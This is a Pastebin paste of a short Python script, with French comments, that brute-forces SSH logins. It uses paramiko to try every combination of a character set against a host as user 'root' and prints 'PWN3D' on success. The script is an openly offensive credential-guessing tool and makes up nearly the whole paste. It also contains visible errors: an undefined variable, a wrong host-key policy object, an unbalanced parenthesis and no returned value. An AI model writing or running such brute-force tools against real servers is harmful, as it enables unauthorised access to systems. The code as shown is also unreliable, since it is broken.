Advertisement
Guest User

Untitled

a guest
Jun 26th, 2019
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.29 KB | None | 0 0
  1. import itertools as it
  2. import paramiko
  3.  
  4. class BF:
  5.     def __init__(self, charset, lenght, ip):
  6.         self.charset = charset
  7.         self.lenght = lenght
  8.         self.ip = ip
  9.  
  10.     def create_client(self):
  11.         client=paramiko.SSHClient()
  12.         client_policy=paramiko.SSHClient()
  13.         client.set_missing_host_key_policy(client_policy)
  14.         return client
  15.  
  16.     def find(self, user):
  17.         ssh_client=self.create_client()
  18.         for guess in self.guesses:
  19.             try:
  20.                 ssh_client.connect(ip,username=user,password=guess,timeout=5)
  21.                 print(ssh_client) #print finded password
  22.                 break
  23.             except paramiko.AuthenticationException as err:
  24.                 print("BAD PASSWORD : {}".format(guess))
  25.             finally:
  26.                 ssh_client.close() #evite de remplir le nombre de connection authorisées
  27.  
  28.        
  29.     @property #transforme la methode en attribue => pouvoir iterer dessus
  30.     def guesses(self):
  31.         for guess in it.product(self.charset, repeat=self.lenght):
  32.             yield ''.join(guess)
  33.  
  34. def main():
  35.     bruteforce = BF('ort',4, '192.168.1.1')
  36.     print('#### PWN3D #### : {}'.format(bruteforce.find('root'))
  37.    
  38.  
  39. if __name__== '__main__':
  40.     main()
  41.  
  42. # password < 8 char    a-z A-Z 0-9
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement